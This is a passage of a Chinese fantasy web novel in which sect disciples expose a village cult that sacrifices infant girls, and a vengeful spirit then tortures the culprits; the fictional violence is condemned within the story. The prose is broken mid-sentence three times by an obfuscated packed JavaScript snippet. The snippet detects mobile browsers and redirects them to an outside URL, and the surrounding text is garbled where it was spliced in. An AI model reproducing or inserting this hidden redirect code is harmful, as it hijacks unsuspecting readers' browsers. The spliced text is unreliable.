陈赋舟在她刚出声的时候就已经默契的上前两步,他一只手抱紧襁褓,另一只手擒住杨贵的后脖颈,杨贵一巴掌胡开他的手。 陈赋舟诧异地问道:“怎么回事?” 锦书将阿翠在地上放稳,也站起身去扯杨贵的肩膀:“傻了吧师弟,忘了在这幻境里咱们都没灵力了吗?” 陈赋舟动作不停,一脚踢向杨贵腿弯:“一直在哄孩子,倒是还真忘了有这回事。” 两人费了好大的一番力气终于制服了一个成年男子,杨贵被按在地上,嘴中不停道:“你们要做什么?求求你们放过我娘子和孩子,有什么冲我来就行。” 为了拽住这个和莽牛一样的男人,锦书累得气喘吁吁,她抹了把额上的汗,也不想搭理他,只忙着催促道:“快点快点,快把他整回来,真是累死我了。” 陈赋舟怀里还抱着孩子,也不搭理步阙乾:“劳烦师姐帮忙找一下了,在我胸前的衣襟里,我还搂着孩子不方便呢。” 锦书抿了抿嘴,但耳侧陈贵的声音实在太过吵闹,她一刻也忍不下去了,便一股气地将手伸进了陈赋舟胸前的衣服里。 陈赋舟刚说出那句话时并没有想多,可随着锦书伸手他就有些后悔了,小师姐的手在他胸前摸来摸去,温温热热的触感隔着薄薄的衣服也格外明显。陈赋舟感到耳根子火热热地烧起来了,只能咬紧牙关道:“师姐能否快一些,杨贵好像有点过于激动了。” 锦书终于摸到了一卷硬硬的纸,赶忙抽出一张贴在了杨贵额上。 24. 送子 “杨贵”的眼神逐渐清明了起来,他下意识的挣了挣,陈赋舟也随之松开了手。 “这是怎么回事?”恢复意识的步阙乾摸着疼痛的脑袋,看了看地上还晕着的燕临,语气疑惑的问道。 “我们被拉进幻境了,你现在不叫步阙乾,叫‘杨贵’。”眼看步阙乾清醒地这么快,锦书也松了口气,懒洋洋地坐在了一旁,她本以为步阙乾也会和燕临一样晕半天,看来只有阿翠有些不一样。 “我怎么浑身疼?”步阙乾还有些懵。 他一脸茫然地揉着胳膊忙,锦书忙岔开话题道:“大师兄你肯定是晕迷糊了,别想这些有的没得了,估计是什么幻境的后遗症吧,你快想想脑子里面属于杨贵的记忆,看看有没有什么发现?” 陈赋舟补充道:“我们这两幅副身体年纪太小,知道的有限。” 步阙乾被忽悠的一怔一怔,看着师弟师妹信任的目光,坚定地点了点头,抄了把椅子坐到一侧开始闭目回想了。 陈赋舟怀里的婴儿离开母亲的怀抱太久,已经开始呜咽,锦书伸着头看了过去,那手指轻轻的戳了戳她柔软的脸颊,无奈地叹气道:“到底还要哭多久啊,我们待会办事又没法带着她。” 陈赋舟生疏的学着阿翠摇起了襁褓,杨珍却哭的更加大声了。 “哎呀你姿势错了,不能这样搂,你这样硌着她了。”锦书想着在医院里面见过的护士抱着新生儿的姿势,伸手去调整陈赋舟的两只胳膊,少年愈加手忙脚乱起来,锦书瞧着他忙的面红耳赤也不禁“噗嗤”一声笑出声来。 “我来吧。”一只手稳稳地从陈赋舟怀里抱起襁褓,正是燕临。 “咦?大师姐你什么时候醒了?” “刚醒。” “大师姐,阿翠的记忆里有什么重要的东西吗?” 燕临眉头紧蹙,思索片刻道:“没什么格外奇怪的,和她之前和我们说的那些身世没什么差别,看起来就是一个普通的姑娘。” 陈赋舟也不自觉的皱起眉头:“这幻境的主人好像格外保护她。” “哎呦!”步阙乾睁开了眼:“这脑子里面东西可太多了,累死我了。” 锦书眼含期盼地望了过去:“怎么样?找到什么怪异之处没有?” 步阙乾抿了抿嘴道:“怪异的倒没有。不过有一点重要的事。这村子不是每隔一段时间会举办一次咱们上次见过的祭祀吗?其实这个祭祀只有村子里面成亲的男人才能参加,这杨贵和阿翠成亲快一年了,因为家里太穷,就去上下山搬运村民们的日用品,靠做这种苦工来维持家里的生活。每次搬运都要花费少则十来天,多则数月,而特别巧的一点是,这一年来杨贵每次下山都正好赶上了祭祀,所以至今一次也没参加过。” “刚刚我回来之前,村长特地找人和我说,让我明早的祭祀务必要参加,还格外强调让我一定把杨珍带着。” 陈赋舟闻言也站起身,他走到窗边,推开掩着的窗户,明月高悬在天空,有几只老鸦嘶咧地叫着飞向天侧。 他若有所思道:“估计等我回去也会被通知参加祭祀。” 燕临怀中的婴儿又咬着手指睡着了,好像完全没发现搂着自己的母亲已经换了一个人:“对了,我想起来了。” 燕临将襁褓平稳地放在床上也站起身来:“你们两个是我们当时去探访的那家人!” “就是女主人疯了的那个。” 锦书闻言瞪大了双眼,自己拥有了阿花的记忆以后,发现她是一个极为坚强的女孩,按理来说她好不容易脱离了贫穷还重男轻女的家庭,嫁到一个富有的家里,怎么会反而变成了一个疯子呢? “还记得我当时是怎么说的吗?” 锦书回想起当时的场景:“好像阿花自从孩子死了就疯了,一直尖叫说有人回来找她?还说什么她那个死了的孩子找她索命?还说自己对不起自己的孩子?” “没错!她当时已经变得瘦骨嶙峋了,宽大的衣服简直想挂在一副骷髅身上,然后披头散发像一个鬼一样地往屋外爬,尖叫着说有好多婴儿在拽着自己的衣服让自己索命!当时我怎么想也想不明白,死去的那些孩子都是被妖兽所伤,与她有什么干系。” 锦书想到自己现在就是阿花,不由得打了个冷战,只感到毛骨悚立。 “又是孩子的事?这祭祀恐怕和生儿育女,传宗接代脱不开关系。” “等等?”步阙乾打岔道:“小师弟去哪了?” 锦书懵了,主角不在这里,难道是独自一人去打大Boss去了?顺便再搞点别人得不到的机缘? 陈赋舟开口道:“李师弟的踪迹我还没有发现,天色不早了,我们两个要先回去了。明天的祭祀我也会去,大师姐你们也悄悄跟过去吧,幻境的主人给我们安排这些身份应当都是有意义的,李师弟估计也和我们处境差不多,明天祭祀大概率能遇上。” 说罢,他朝锦书抬了抬下巴:“走吧?” 锦书站起身,活动了一下筋骨,冲燕临两人点点头:“那大师姐我们就先走了,明天见吧。” 两个人抬脚跨出屋门,屋里步阙乾仍在用尚带有困惑的语气问燕临:“我怎么还是浑身疼呢?你怎么看着和没事人一样?” 锦书听得踉跄两步,不由得开口:“千万别让大师兄知道是咱俩动的手!” 两人回到家果然被告知了明日参加祭祀一事,陈赋舟顺从应下,第二日一早就早早起床跟着家中已婚的长辈往村中央的祠堂走去,锦书也悄悄地偷溜了出来,绕开前往祠堂的大部队,绕了一条远路往和燕临约好的地点赶。 今日天气尚可,一轮艳阳高高悬挂于天空之中,温暖又明亮的阳光洒在大地上,祠堂笼罩着一层金光,显得庄严而神圣,犹如一座宫殿一般,令人望而却步。 锦书心中又是好奇又是惶恐,终于要揭开偃建村的真面目了,此时只觉得心中一跳一跳的,如同裹了一个做工不精的毛垫子一般,扎的人直痒痒。 锦书远远看见燕临正在祠堂外的一处墙角下等她,便加快了脚步小跑过去。 “大师姐!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964887|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你慢点,当心摔了。祭祀会在鼓声三响后正式开始,接着就是按着流程上香拜神,我估计最重要的事会在这之后才说。” 锦书侧耳倾听,祠堂里此刻很是嘈杂,只听到众人声音纷纷却听不真切:“估计还没开始呢,倘若是平时,咱们施个隐身咒就能正大光明的看了,在这幻境里和凡人没有区别,只能一切小心为妙了,如果被抓住就完了。” 燕临眉头紧锁:“我本想着趴在院外听里面的动静,这样一看,呆在这里,里面说话什么都听不清,看来只能另寻他法了。” 锦书思索片刻,笑道:“有了!大师姐你跟我来,我有办法。” 祭祀果真同燕临所说流程一样。 两个人躲在摆有神像的木桌下,从侧面掀起盖在桌布上的厚重布料,在布料的一脚下,两双又大又亮的眸子警惕地观察着四周。 步阙乾和陈赋舟都是第一次参加祭祀,被安排在人群的后面,被嘱咐带来的杨珍此时不知在哪。杨大富站在众人面前手中捏着香,面向神像虔诚地拜了三拜。 “送子娘娘保佑,保佑我们村今年多生几个男娃娃。” 拜罢,他站到桌子一旁:“你们几个成亲没几年的都过来拜拜送子娘娘,要是没有送子娘娘,咱们村估计都成女儿国了,诚心诚意地求送子娘娘给你们几个送送儿子知道不?” 几个男子排成顺序,依次拿起香,对着神像虔诚地拜了拜,步阙乾和陈赋舟排在队伍的最后几个,两人面色都不太好看,显然是不想拜这个所谓的“送子娘娘”。 很快就轮到步阙乾了,他磨磨唧唧地走上前两步,抄起香,不情不愿地拜了一下,杨大贵站在一旁看他不情不愿的样子,脸色也阴沉了下来,一把上前摁住了步阙乾的肩膀。 “你小子少来这副模样,知道今天这祭祀就是为你办的吗?生了个赔钱姑娘还敢对娘娘这么敷衍,当心一辈子生不出来男娃,断子绝孙!你赶紧给我好好拜拜,看送子娘娘怎么说!” 杨大贵知道杨富是个软柿子,说话格外难听,步阙乾听得一阵恼怒,正要发作拍开杨大富打在他肩膀上的胖手,却感到有个什么东西不轻不重的砸在脚上。 他低下头看去,一颗圆溜溜的葡萄正从他脚上往旁边滚,这葡萄正是今日刚摆起来的贡品。步阙乾诧异地往桌子看去,只见一只白嫩的手从桌下悄无声息的伸了出来,做了几个虚按的动作。 步阙乾知道这是在暗示自己不要轻举妄动,只得按捺下心中的怒火,老老实实对着“送子娘娘”拜了三拜。 他还低着头呢,只听到杨大富油腻的嗓音激动地响起:“娘娘点头了!娘娘点头了!快把杨贵家那个小丫头抱来,咱们偃建村今年必将人丁兴旺,快去啊你们!” 几个人连忙跨过门槛往祠堂外的偏房跑去,步阙乾抬起头,只见这“送子娘娘”怀中抱着的荷花正散发着异样的光芒,而供台上也凭空多了一支栩栩如生的纸荷花,高坐于台上的“送子娘娘”脸上的笑容更大了,祂扬起的嘴角简直要延伸至两侧的鬓角里了。 25. 第25章 步阙乾此时不知为何感到一阵心惊肉跳,不由得脱口问道:“这是什么意思?这不只是一个神像吗?怎么会动?还要把珍珍抱来做什么?” 杨大富哈哈一笑道:“你小子自小就没爹没妈,但你大富哥可没把你忘了,什么好事都想着你呢。你不是生了个闺女吗,现在送子娘娘发话了,大富哥保管让你明年抱上个大胖小子。” 说着,只听到一阵哭声,杨珍被一个男子粗暴地搂在怀里送进了祠堂,尽管步阙乾不是真正的杨贵,却也看不得如此年幼的孩子受苦,连忙上前几步把杨珍从那男子的怀里搂了过来。 杨大富冷眼撇了撇他怀中哭泣不停的孩子,眼底闪过一抹厌烦,颇为不满地说道:“一个丫头片子,何必那么费心。”接着,他转头看向送杨珍来的男子问道:“那个谁喊过来没有,这边等着他来赶紧办事呢,怎么还没看见人影,别耽误了祭祀的好时辰。” 话音未落,只听得一阵沉稳的脚步声传来,锦书在桌子下面趴着听完了全程,便伏在地面上,好奇地掀开桌布的一角往外看去。 来人却令她大吃一惊,一个年岁不大的男子提着一个沉重的布囊正迈进祠堂,而他却是许久未见的小师弟李行道。 什么情况?锦书瞪大了眼睛,用手晃了晃燕临的胳膊,示意她也往外看去。 李行道模样的人将包裹放在地上,不紧不慢地扫视了一圈四周,包括杨大富步阙乾几人,他语气平淡地问道:“喊我来做什么?” 杨大富上前一步,为他指了指供台上的那支莲花,道:“大老远把叔您请过来肯定是有重要的是要忙,您看这莲花,送子娘娘又选中人喽,就是这个杨贵家的女娃娃,咱们今日就趁着这好时辰赶紧把流程走了吧。” 锦书轻轻地“咦”了一声,这李行道分明还是少年模样,杨大富怎么又是“叔”又是“您”的。 燕临看出了她的疑惑趴在她耳侧小声说道:“你忘了么?咱们进这幻境就把原来的那些人给顶替掉了,此刻能互相认出来咱们原本外表的只有村子里的外来者,在这群村民眼里小师弟恐怕是个风烛残年的老头,而且看杨大富那副毕恭毕敬的模样,他恐怕在这个村子格外重要,咱们要想办法和他联系上才行。” 锦书看这李行道那坦然自若的表情,不由得心中暗道,不愧是男主,给人一副一切尽在掌握中的的感觉。 祠堂里,步阙乾抱着杨珍,面露警惕,试探性地问道:“都到这时候了,村长你们说的那些云里雾里的话到底能不能和我说明白了?” 杨大富面色诡异,道:“我先来给你介绍一下,这是李叔,十几年前来咱们村子的,这些年不常出门走动,所以你们都不认识。” “十几年前,咱们偃建村出了一场大灾难,整整两年村子里面居然一个小子也没生出来,全是些赔钱丫头!村子里面的人每天都惶恐不安,以为偃建村要绝后了,还好李叔来了,李叔是老神仙下凡,一眼就看出来问题出在哪了,让大家一起掏钱塑了这座送子娘娘神像,盖了这座祠堂。盖了这座祠堂后,村子里面生出来的第一个娃娃果真是个男的,送子娘娘感恩我们对祂的祭拜,说会一直保佑我们。” “唯一的要求就是在村子里面的女娃娃出生了之后,送到祠堂供祂进行挑选,有合眼缘的便送给娘娘当座下童子,你们家这丫头命好,被娘娘看中要去享福了,你还不快点跪下给娘娘磕几个头谢恩。” 步阙乾眉头紧缩,这群人对送子娘娘的狂热程度有点超出他的想象了,但他对上了李行道沉着的眼神,又莫名感到几分心安,于是接着问道::“怎么送去当座下童子?” 杨大富眼神变得狂热,缓缓道:“院子里面那两口井你看见了吧?井娘纳福,必赐麟儿。被选中的会被送到井里,井口拿‘锁女符’盖上,送子娘娘自然就会来接引她们去享福的。 这番话听得步阙乾大惊失色,额头上刷的冒出冷汗,看着杨大富脸上狂热的神情还有周围村民们如常的模样,只觉得不寒而栗。 燕临听到这番话马上就要暴起扇飞这座供台,她看似柔弱实则为人最爱行侠仗义,一听到这些年偃建村背地里干的竟是这样草芥人命的肮脏事,哪里还忍得了。 锦书一看燕临不对劲,连忙伸手死死地拉住了她,低声劝诫道:“大师姐你忘了吗?咱们如今是在幻境,身上没有灵力,怎么能抵过这一村子的人,这些畜生等我们出去了再惩治他们也来得及,此刻切莫轻举妄动。 燕临虽然心中已经火冒三丈,但也明白此是不是行动的好时机,只得按捺了下来。 祠堂里的情景已经陷入了胶着,杨大富吩咐步阙乾把杨珍递过来,可他却死死的搂着仍在哭泣的孩子,不肯退让一步。 杨大富眼看他如此倔强,也恼怒了起来:“你这人怎么真没不识好歹,这是送子娘娘眷顾你们家才洒下的福泽,我们家那个便宜丫头想送去,娘娘还不要呢,成天在家里面看见那个赔钱货就烦。” “你敬酒不吃吃罚酒,我也不和你客气了,你们几个快点过去把那个丫头给我抢过来。”说罢,一群村民蜂拥而上,纷纷伸手往他怀里扒拉,整个祠堂瞬间陷入一片混乱。 “都给我住手!”李行道沉稳的声音不大不小的响起,却震慑住了所有人。 “你们都让开,这丫头和送子娘娘关系匪浅,既然这杨贵是她的肉胎父亲,那边让我单独和他说清楚里面的门路,你们都退出去”他又用手指了指陈赋舟:“这人也留下,我观他身上也有几分机缘,其他人都给我老老实实地到门外去。” 这“李叔”在偃建村许多年,祠堂中的人基本上都认识他,对他的本事都略有了解,哪里敢反抗,一群人顺从地退出祠堂,只有杨大富临走前还不忘狠狠地瞪了一眼步阙乾。 李行道把祠堂的门关紧,才缓缓说道:“师姐你们也出来吧。” 锦书两人这才从桌子底下爬出来:“怎么知道我俩在这的。” “刚才杨大富说话的时候桌子一直在抖,我怕我再不让他们出去,这桌子就被掀翻了。” 看着李行道无奈的神情,燕临爽朗一笑:“小师弟真细心,没办法,一听到这群畜生干了这么多事,我就忍不住了。你怎么混到敌人那派去了,看这模样还怪有威信力的,快和师姐讲讲,这偃建村到底是怎么个事?” 李行道沉思片刻道:“其实同杨大富说的没什么两差,这李道本是鬼子母的信徒虽然鬼子母早已灰飞烟灭许久,凡间却仍有少数人知道祂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970648|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的传闻,这李道本是鬼子母的狂热信徒,机缘巧合下遇到了鬼子母的一缕残魂,从此以后就被洗脑,甚至在民间大肆宣传,他这样大的动静当然被当地的修仙宗门所注意,宗门的人把他抓起来后发现他已经无可救药,既不能留着他继续祸害普通人,又不能随意打杀,只能将他放逐到深山老林里,严重警告他不要再来作恶。” “这李道在深山里过了一段时间,心中对鬼子母的崇拜却半分不减,甚至诡异地更加狂热了,他跨过了几座山,看见一个山头有人烟,便决定前来看看。这一看就造成了现在的后果,偃建村当时不知为何两年都没有男胎,李道一看这种情况就知道自己的机会来了,鬼子母的一缕残魂也催促着他赶紧动手,还有什么地方比偏僻、迷信、无知的偃建村更好动手呢?” “于是李道去找了村长对他说自己有办法,村长对村里的情况一直束手无策,只能死马当作活马医,最开始只有村子里几个位高权重的老人知道,可随着第一个孩子的出生,村长和这些老人都相信了李道的话,李道趁机提出需要用出生不久的女童就这样祭祀鬼子母的传统一直延续了百年。” 锦书皱起眉头:“鬼子母只有一缕残魂,怎么保证生出来的孩子一定是男孩?” 李行道回道:“李道会一点医术,加上鬼子母的残魂附在他身上,他在这样干之前就已经悄悄去看了村子里那个怀孕的妇人肚子里的到底是男是女,倘若是女孩他就等着下一个孕妇怀的是男孩在出手。说来也是他运气好,偏偏两年不出男的魔咒在他来时没了,后来靠着献祭,鬼子母功力增强,自然就有能力和妖术让原本的女胎变男,李道就借着这股东风成了偃建村的人上人。” 李行道抬头上下扫视了一通富丽堂皇的雕像,开口道:“最可笑的是,这杨大富可是个人精,比他爹聪明多了,早就看出来李道就是个普通人,但他当上村长后很快就发现这是条能发大财的路子,借着给鬼子母上供和祭祀求子能从村里面捞上不少油水,于是便把这祭祀办的越来越玄乎,唬的知道的人全都深信不疑。” 步阙乾搂着杨珍还有些惊魂未定:“这些人这么多年害死了不少孩子,那些男童的死恐怕是因为妖怪被这地方阴气太重吸引过来的,也算这些村民自作孽了。只是既然当时他们选中了杨珍,怎么她还好好地活到了现在?” 陈赋舟凝视着脚下的青石板,道:“这些恐怕要等我们从幻境出去亲自找他问个清楚了,为了保住自己的孩子,他肯定付出了不少东西。 锦书若有所思道:“那恐怕我现在扮做的阿花也是因为孩子被抓去祭祀才疯了的吧?这地方的人不把女子的命当命,阿花她娘也是每天张嘴闭嘴的赔钱货,真是太惨了。” 锦书想起阿花的悲惨身世不由得同情又难过,她想了又想道:“我觉得男童的死不是妖怪来作祟,恐怕是这些冤魂报仇来了。否则我们怎么会被拉进这样一个幻境,还分别拥有了和这件事最紧密相关的几个身份呢?” 话音未落,整座祠堂忽的晃动了起来,供台上的瓜果全都滚落在了地上,那座栩栩如生的雕像在众人惊恐的眼神中分崩离析。 一阵天旋地转后,锦书摸到了手下坚硬又潮湿的触感,像极了院中井边的青苔。 26. 第 26 章 燕临晃的晕头转向,糊里糊涂地问道:“这是怎么回事?发生什么了?” “我们从幻境里出来了。”陈赋舟打量了一下四周。 “这幻境怎么莫名其妙的?”锦书撇了撇嘴嘟囔着站起身。 李行道怀里抱着剑,一副失而复得的欣喜模样。 众人正身处那座藏污纳垢的祠堂院子中,不过一切和他们晕过去之前大不相同。 杨大富等参与祠堂的人大都被悬挂在祠堂屋檐下,众人面色惊惧,双手被几条血线紧紧捆绑,剩下一些挂不下的人则全都被血线捆住手脚随意地堆在一角。 杨大富一看见原本晕倒的锦书一行人站起身,马上就像找到了救星一般,他两条腿在空中乱蹬,晃动使得整个人都重心不稳,脸上的层层肥肉相互拍打,溅出点点汗水。 “道长,你快救救我啊,道长!” 刺耳的声音使得“阿翠”皱了皱眉头,她正站在院子中央,分外惬意地欣赏着自己的“作品”,闻言便轻轻地抬了抬手。 “啊!”杨大富发出一声更加尖锐的短促叫声,随即便像被掐住脖子了一样哑了声,锦书侧目望去,只见他青筋暴起,眼珠突出,面色狰狞,红灯笼的红光打在他的脸上让人只觉得他眼眶充红。 锦书好歹是个身在红旗下的少年,平日里哪里亲眼见过这种情景,不由得吓得后退两步,燕临上前两步将她护在身后,掷地有声地问道:“你到底是谁?做这些事到底是为了什么?” “阿翠”声音渗人:“哼。我本来以为等我处理完这帮蠢货你们才能从幻境里出来,没想到速度这么快,看来你们这些宗门弟子也算有点真材实料。” 接着她冷笑两声:“但你们年岁太小,几个人加在一起也不会是我的对手。不过,你们应该感到庆幸,我此番入世只为了报仇雪恨,不准备为难你们几个毛头小子,只要你们现在就离开这里,我便放过你们。” 众人闻言对视几眼,心下都做出了决断,燕临开口道:“玄清宗受民众供奉,自然也要用心守护这片土地。抱歉,今天我们必须要与你为敌了。” “阿翠”口中发出两声怪异的叫声,她紧盯着众人的瞳孔乍然变成猫一般的竖瞳,众人只觉得霎时间汗毛耸立,不由都得召唤出法器来警惕地护在身前。 “什么守护?你们自己听了不觉得好笑吗?你们既然已经破解了幻境自然也知道了在这座偃建村都发生了一些什么事情,你们怎么好意思说自己守护了这片土地。”“阿翠”质问的声音越来越大。 锦书本有些不解,联想起“阿翠”所说的话与幻境发生的种种,惊诧地问道:“难道一切真是我所猜测的那样?” “阿翠”转过头,恨恨地盯着屋檐上挂着的一群人:“若非这群人为了所谓的传宗接代害死了那么多无辜的女童,我又怎么会诞生。我是这些冤魂汇聚所诞生出来的,今日来找这些人复仇,冤有头,债有主,这一切都是因果报应,这群人所做的一切都要在今天血债血偿!” 众人一时间都说不出话来,步阙乾思索片刻,带有歉意的回道:“偃建村发生的这许些事是我们玄清宗失职才犯下这么大的过错,这些恶人自有恶报,倘若你杀了他们,那这么多业绩背在身上,所化作你的那些女童冤魂有可能再也没法超生了啊!” “阿翠”喝到:“你以为我不知道杀人会付出多少代价吗?可倘若不报仇雪恨,即使你让这些冤魂去投胎,她们也不会离开这个地方的,她们的恨犹如点滴泉水,汇聚在一起便如同狂风暴雨,势必要冲刷掉所有的罪恶!” “你在幻境里扮做的是阿花,对吧?你应当有所体会,阿花出生在那样一个家里,母亲偏心,兄弟平庸,为了一家子的生存连亲生女儿也能卖掉。可怜的阿花嫁了人,看见夫婿家中生活富裕,以为自己总算能过上好日子了,谁料到她生的第一个孩子竟然是个女儿,一个不被期待、被当做赔钱货的女儿!” “从那以后,阿花短暂一年的好日子就结束了,她从娘家的赔钱货变成了夫家的赔钱货,孩子还没几个月呢,在一天丈夫说要抱着孩子出门逛逛,阿花高兴丈夫终于愿意接受自己的孩子了,便想悄悄地跟在丈夫身后看着他们父女俩,谁知道那个冷心冷肺的男人为了儿子居然能残暴到主动献祭自己的亲生女儿,阿花亲眼看见自己年幼的女儿被扔进井里,从此便疯了。她疯了这群人也不肯放过她,怕她将这件事抖搂给不知情的村民,他们把她关在柴房里,每日当成牲口一样饲养!” “你以为我只是为了这些年幼的孩子们报仇吗?偃建村这百年来所遭受不同痛苦的女性又岂止这些孩子,这座村庄是用无数‘阿花’的尸骨堆成的!” “阿翠”神色疯狂,令人毛骨悚然的笑声简直笼罩了偃建村,本来今夜之事只有几十个愿与杨大富为首、家中又生不出男童的村民在场,随着这笑声愈来愈癫狂,整座村子仿佛被摁下了开关,一盏又一盏的灯光逐渐亮起,混乱的脚步声也朝着祠堂靠近。 “我们怎么办?”锦书趁此机会压低声音向众人问道。 步阙乾声线焦急:“这妖集齐那么多人的怨念而生,法力高强,而且只要她们一日不能报仇,心中的怨恨就会绵延滋长,法力也会逐步提升,我们几个人加起来也不是她的对手,恐怕在她手中连五分钟都撑不过。 “况且......”燕临做事一向雷厉风行,此时也不免有些犹豫,但还是把憋在心里的话说了出来:“我......我不想阻止她报仇。” 奇怪的是,她这番话说出口居然没有一人表示反对。 众人年纪都不大,更何况多年深居宗门修行,难免都养成了一些嫉恶如仇的天真性子,先前幻境中所遇到的一切再加上“阿翠”怨恨的话语,这些不仅在他们心中种下了一颗踌躇的种子。 锦书道:“‘阿翠’说了她不会伤害无辜的,这座村子还有这么多不知情的人,咱们不如就把精力放在保护他们身上好了,倘若问起来就说咱们修为不够打不过他!” 李行道拜师前见过不少是非,在几人中居然算是最老成的一个,他沉稳言道:“虽然是这般说了,但她为怨念所生,难免到最后不会情绪波动暴走,到那时候哪里还能记得自己许下的承诺,恐怕有可能杀红了眼屠村。” 他话音刚落,“阿翠”就停止了笑声,她此刻之状正如李行道所说已有些疯癫,祠堂外的喧闹声被她尽收耳底,她笑道:“刚好今夜所有的人都聚集在此了,我要所有人都知道你们所做的那些肮脏事。” 祠堂上悬挂的众人都瞪大了双眼,杨大富更是挣扎着想说些什么,但一切都只能被吞回肚子里。 随着“阿翠”一摆手,两扇大门“砰”的一声打开了,门外聚集的村民一看到祠堂内这幅情景不由得躁动起来。 “阿翠”捻起空中飞舞的一片树叶,那树叶被她指尖捻动化成碎片飞洒开来。不少人看见屋檐上悬挂的,又或是地下躺着的有自己的亲眷,都着急忙慌的往院子里挤,“阿翠”又是一抬手,院门立起了一道透明的泛起水波纹的屏障,将村民们的身体和声音都隔绝在外了。 “我给你们一个机会,主动说出来自己干过什么事的,我会让你们死的轻松一点。”“阿翠”转过身看向那群人。 杨大富嘴上无形的束缚终于消失了,他打量了一下四周的同伙,这些人平日里受他驱使,在他面前一向畏首畏尾,此刻他们却大多都流露出了憎恨后悔的表情。杨大富知道这憎恨是对自己,他们怨恨自己带着他们走了歪门邪道,才沦落到此下场。 杨大富向来阴险毒辣,他看曾经的走狗如今显然都要背叛他,又打量了一下锦书等人的神色,断定这些正派子弟恐怕是不准备救自己了,当即便决定自己死了也要带着这些走狗陪葬。 他一咬牙便扯着嗓子叫到:“我说我说!我什么都说!这一切都是我的罪过,我全都认了!” “是我听信那李道的胡言乱语办这个祭祀,是我害了那些女童,我不该把她们扔进井里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975438|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不该欺骗村民。但我也是被那个姓李的给骗了啊,我也是为了咱们村的香火传承才干了这些事啊,虽然我确实从中赚了钱,可这只是我一时鬼迷心窍啊!” “我真的知错了,倘若能再来一次,我一定把那个姓李的乱棍打出村子!” 锦书想到了杨大富估计会贪生怕死,对他说出这番话也不感到意外,她看向院外,众村民都是第一次听到这种秘事,脸上神色各异,而“阿翠”听到这番话脸上的神情反而冷静了下来。 步阙乾心中打鼓,小声问道:“你们说她会按她说的那样给他们一个痛快吗?” 锦书打定主意不想救那群人,早就放松了戒备状态,搂着自己的法器斜斜的靠在一旁,看戏似的打量着院内,接道:“谁知道呢?反派的脑回路一般与常人不同。” 燕临道:“不管如何,倘若她要做什么伤害无辜之人,我们一定要想尽一切办法拦住她,如今这事都是我们玄清宗没有好自己的本职工作才造成的,切不能再酿成更大的悲剧了。” “阿翠”道:“很好,既然你已经承认了,那咱们就来一一清算你犯下的罪孽。第一条,你残害幼童。” 杨大富“啊”的尖叫一声,众人定睛一看,只见他身上多了一道血淋淋的伤口,从胸部一直贯穿到大腿,他只觉得那伤口不仅仅只是普通的撕裂,其中更是一种腐蚀的感觉吞噬着自身的骨肉。 “你......你不是说会给我个痛快吗?”事已至此,他仍然不甘心地问道。 “阿翠”漫不经心地欣赏着男人痛苦的表现:“你也是做恶人的,怎么就不懂我呢?杨贵求你放过他女儿的时候,你不是也在心里想着要悄摸摸地把他女儿偷出来献祭给送子娘娘,好换的自家再生一个新二郎吗?我这样做都是和你学的呀,你怎么就不能理解我的苦心呢?没事,咱们继续吧,说不定到最后你就明白了。” “第二条,利欲熏心,贪得无厌。”又是一声激烈的惨叫,伴随着身上的另一道伤痕的出现,杨大富感到五肺六脏都好像被一把刀子细细的刮成碎片,痛苦使得他的身体即使是在悬挂的状态下也扭曲成了奇怪的形状,任谁从远处看过来,恐怕都不会以为这屋檐上悬挂的奇形怪状的庞然之物居然是一个人类。 杨大富神色凄厉,决心不再受此折磨,当即便要咬舌自尽。但“阿翠”不过轻挥手臂,他便像一个傀儡木偶一般动弹不得。 “审判还没结束,我怎么可能让你轻而易举地下地府享福呢?你放心,我一定会用所有的手段将你们这群人的魂魄拖进无尽深渊,让你们永世不得超生,日日饱受折磨。第三条,你残暴不仁,不知悔改” 话音刚落,杨大富便七窍流血,整个人的身体犹如一块皮球一般膨胀了起来,离他最近的几个人吓得裤子都湿透了,可偏偏也被“阿翠”把控着,求生不能,求死不得。 锦书倒吸一口冷气:“这也太吓人了吧。不过这杨大富看着还有一口气啊。” 李行道眉头紧蹙、表情凝重道:“听她先前所说的,恐怕是要用一种极其丧心病狂的法子,先让这群人的□□死亡,再燃烧这些怨魂聚集而成的本源之力来慢慢灼烧杨大富等人的魂魄,一旦这邪术开展,那么将没人能够阻止,杨大富他们再也没法转世,而且,这些死去的女童也不会再有投胎的机会了。” 锦书焦急道:“杨大富这些人做了这么多坏事,这点惩罚是他们活该!可是这些孩子本来就是无辜枉死,生前遭受的苦难已经够多了,怎么能让她们死后也不能投胎呢?哪有这样的道理!” 